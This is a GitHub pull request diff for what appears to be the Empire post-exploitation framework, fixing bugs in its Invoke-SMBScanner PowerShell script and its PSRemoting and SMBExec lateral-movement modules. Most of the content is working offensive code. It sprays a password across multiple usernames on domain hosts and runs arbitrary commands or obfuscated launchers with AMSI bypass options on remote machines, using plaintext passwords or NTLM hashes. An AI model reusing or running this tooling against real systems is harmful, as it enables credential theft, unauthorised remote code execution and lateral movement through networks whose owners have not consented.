Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bugfixin for smbscanner, psremoting, and smbexec #380

Merged
merged 3 commits into from
Nov 1, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -6,67 +6,65 @@ function Invoke-SMBScanner {
If no machines are specified, the domain will be queries for active machines.
For domain accounts, use the form DOMAIN\username for username specifications.

Author: Chris Campbell (@obscuresec), mods by @harmj0y
Author: Chris Campbell (@obscuresec), mods by @harmj0y, more mods by @kevin
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 0.1.0
Version: 0.1.1

.DESCRIPTION

Tests a username/password combination across a number of machines.
If no machines are specified, the domain will be queries for active machines.
For domain accounts, use the form DOMAIN\username for username specifications.
Cx01N marked this conversation as resolved.
Show resolved Hide resolved

.EXAMPLE

PS C:\> Invoke-SMBScanner -ComputerName WINDOWS4 -UserName test123 -Password password123456! -Domain

ComputerName Password Username
---- -------- --------
WINDOWS4 password123456! test123

For domain accounts, specify a domain to query

.EXAMPLE

PS C:\> Get-Content 'c:\demo\computers.txt' | Invoke-SMBScanner -UserName dev\\test -Password 'Passsword123456!'
PS C:\> Invoke-SMBScanner -Domain 'Borgar.local' -ComputerName DC01 -Usernames 'kclark','Administrator','SQLSvc' -Password 'P@ssw0rd'

ComputerName Password Username
---- -------- --------
WINDOWS3 password123456! dev\\test
WINDOWS4 password123456! dev\\test
ComputerName Domain Username Password Valid
------------ ------ -------- -------- -----
DC01 Borgar.local kclark P@ssw0rd False
DC01 Borgar.local Administrator P@ssw0rd True
DC01 Borgar.local SQLSvc P@ssw0rd False

...


.LINK
PS C:\> Invoke-SMBScanner -ComputerName '127.0.0.1' -Usernames 'kclark','Administrator','localadmin' -Password 'P@sssw0rd'

ComputerName Domain Username Password Valid
------------ ------ -------- -------- -----
127.0.0.1 <None> kclark P@sssw0rd False
127.0.0.1 <None> Administrator P@sssw0rd False
127.0.0.1 <None> localadmin P@sssw0rd True

#>

[CmdletBinding()] Param(
[Parameter(Mandatory = $False,ValueFromPipeline=$True)]
[String] $ComputerName,
[String[]] $ComputerName,

[parameter(Mandatory = $True)]
[String] $UserName,
[String[]] $Usernames,

[parameter(Mandatory = $True)]
[String] $Password,

[parameter(Mandatory = $False)]
[String] $Domain,

[parameter(Mandatory = $False)]
[Switch] $NoPing
)

Begin {
Set-StrictMode -Version 2
[Collections.ArrayList]$OutList = @()
#try to load assembly
Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}

Process {

$ComputerNames = @()

# if no computer names are specified, try to query the current domain
Expand All @@ -83,8 +81,7 @@ function Invoke-SMBScanner {
}

foreach ($Computer in $ComputerNames){

Try {
try {

Write-Verbose "Checking: $Computer"

Expand All @@ -94,36 +91,36 @@ function Invoke-SMBScanner {
}
if($up){

if ($Username.contains("\\")) {
# if there's a \ in the username, assume we're checking a domain account
if ($Domain) {
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
}
else{
# otherwise assume a local account
$Domain = "<None>"
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
}

$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $Computer)

$Valid = $PrincipalContext.ValidateCredentials($Username, $Password).ToString()

If ($Valid) {
Write-Verbose "SUCCESS: $Username works with $Password on $Computer"
foreach($Username in $Usernames) {
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $Computer)
$Valid = $PrincipalContext.ValidateCredentials($Username, $Password).ToString()

$out = new-object psobject
$out | add-member Noteproperty 'ComputerName' $Computer
$out | add-member Noteproperty 'Domain' $Domain
$out | add-member Noteproperty 'Username' $Username
$out | add-member Noteproperty 'Password' $Password
$out
}

Else {
Write-Verbose "FAILURE: $Username did not work with $Password on $ComputerName"
$out | add-member Noteproperty 'Valid' $Valid
$null = $OutList.Add($out)
}
}
}

Catch {Write-Error $($Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage)}
catch {
Write-Error $($Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage)
}
}
}
}
End {
$OutList | Format-Table
Write-Output "SMBScanner execution completed"
}
}
42 changes: 29 additions & 13 deletions lib/modules/powershell/lateral_movement/invoke_psremoting.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,12 @@ def __init__(self, mainMenu, params=[]):
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Required' : False,
'Value' : ''
},
'Command' : {
'Description' : 'Listener to use.',
'Required' : False,
'Value' : ''
},
'Obfuscate': {
Expand Down Expand Up @@ -126,6 +131,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
AMSIBypass2 = False

listenerName = self.options['Listener']['Value']
command = self.options['Command']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
Expand All @@ -141,6 +147,14 @@ def generate(self, obfuscate=False, obfuscationCommand=""):

script = """Invoke-Command """

# Only "Command" or "Listener" but not both
if (listenerName == "" and command == ""):
print(helpers.color("[!] Listener or Command required"))
return ""
if (listenerName and command):
print(helpers.color("[!] Cannot use Listener and Command at the same time"))
return ""

# if a credential ID is specified, try to parse
credID = self.options["CredID"]['Value']
if credID != "":
Expand All @@ -155,28 +169,30 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
self.options["Password"]['Value'] = password


if not self.mainMenu.listeners.is_listener_valid(listenerName):
if not self.mainMenu.listeners.is_listener_valid(listenerName) and not command:
# not a valid listener, return nothing for the script
print(helpers.color("[!] Invalid listener: " + listenerName))
return ""

else:
elif listenerName:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, obfuscate=Obfuscate, obfuscationCommand=ObfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, AMSIBypass=AMSIBypass, AMSIBypass2=AMSIBypass2)

if launcher == "":
return ""
else:
# build the PSRemoting execution string
computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""
script += " -ComputerName @("+computerNames+")"
script += " -ScriptBlock {" + launcher + "}"

if self.options["UserName"]['Value'] != "" and self.options["Password"]['Value'] != "":
# add in the user credentials
script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential"
else: # else command
launcher = command.replace('"', '`"')

# build the PSRemoting execution string
computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""
script += " -ComputerName @("+computerNames+")"
script += " -ScriptBlock {" + launcher + "}"

if self.options["UserName"]['Value'] != "" and self.options["Password"]['Value'] != "":
# add in the user credentials
script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential"

script += ";'Invoke-PSRemoting executed on " +computerNames +"'"
script += ";'Invoke-PSRemoting executed on " + computerNames +"'"

if obfuscate:
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
Expand Down
6 changes: 3 additions & 3 deletions lib/modules/powershell/lateral_movement/invoke_smbexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -62,8 +62,8 @@ def __init__(self, mainMenu, params=[]):
},
'Domain' : {
'Description' : 'Domain.',
'Required' : False,
'Value' : ''
'Required' : True,
'Value' : '.'
},
'Hash' : {
'Description' : 'NTLM Hash in LM:NTLM or NTLM format.',
Expand Down Expand Up @@ -195,7 +195,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
Cmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher

else:
Cmd = '%COMSPEC% /C start /b ' + command.replace('"','\\"')
Cmd = '%COMSPEC% /C start /b ' + command
print(helpers.color("[*] Running command: " + Cmd))

scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, Cmd)
Expand Down
41 changes: 19 additions & 22 deletions lib/modules/powershell/situational_awareness/network/smbscanner.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,9 +13,9 @@ def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-SMBScanner',

'Author': ['@obscuresec', '@harmj0y'],
'Author': ['@obscuresec', '@harmj0y', '@kevin'],

'Description': ('Tests a username/password combination across a number of machines.'),
'Description': ('Tests usernames/password combination across a number of machines.'),

'Software': '',

Expand All @@ -27,7 +27,7 @@ def __init__(self, mainMenu, params=[]):

'NeedsAdmin' : False,

'OpsecSafe' : False,
'OpsecSafe' : True,

'Language' : 'powershell',

Expand Down Expand Up @@ -62,11 +62,16 @@ def __init__(self, mainMenu, params=[]):
'Required' : True,
'Value' : ''
},
'UserName' : {
'Description' : '[domain\]username to test.',
'Usernames' : {
'Description' : 'Username(s) to use. Comma separated. Example: kclark,Administrator,sqlsvc',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'Domain to use. Defaults to local authentication',
'Required' : False,
'Value' : '.'
},
'NoPing' : {
'Description' : 'Switch. Don\'t ping hosts before enumeration.',
'Required' : False,
Expand Down Expand Up @@ -106,43 +111,35 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
# if a credential ID is specified, try to parse
credID = self.options["CredID"]['Value']
if credID != "":

if not self.mainMenu.credentials.is_credential_valid(credID):
print(helpers.color("[!] CredID is invalid!"))
return ""

(credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]

if domainName != "":
self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName)
else:
self.options["UserName"]['Value'] = str(userName)
if password != "":
self.options["Password"]['Value'] = password


if self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
if self.options["Usernames"]['Value'] == "" or self.options["Password"]['Value'] == "":
print(helpers.color("[!] Username and password must be specified."))


if (self.options['ComputerName']['Value'] != ''):
usernames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""
scriptEnd += usernames + " | "

scriptEnd += "Invoke-SMBScanner "
scriptEnd += "Invoke-SMBScanner"

for option,values in self.options.items():
if option.lower() != "agent" and option.lower() != "computername" and option.lower() != "credid":
if option.lower() != "agent" and option.lower() != "credid":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
scriptEnd += " -" + str(option)
elif(option.lower() == "usernames"):
scriptEnd += " -Usernames" + " '" + values['Value'].replace(",", "','") + "'"
elif(option.lower() == "computername"):
scriptEnd += " -ComputerName" + " '" + values['Value'].replace(",", "','") + "'"
elif(option.lower() == "password"):
scriptEnd += " -Password" + " '" + values['Value'].replace("'", "''") + "'"
else:
scriptEnd += " -" + str(option) + " '" + str(values['Value']) + "'"

scriptEnd += "| Out-String | %{$_ + \"`n\"};"
scriptEnd += "'Invoke-SMBScanner completed'"

if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
Expand Down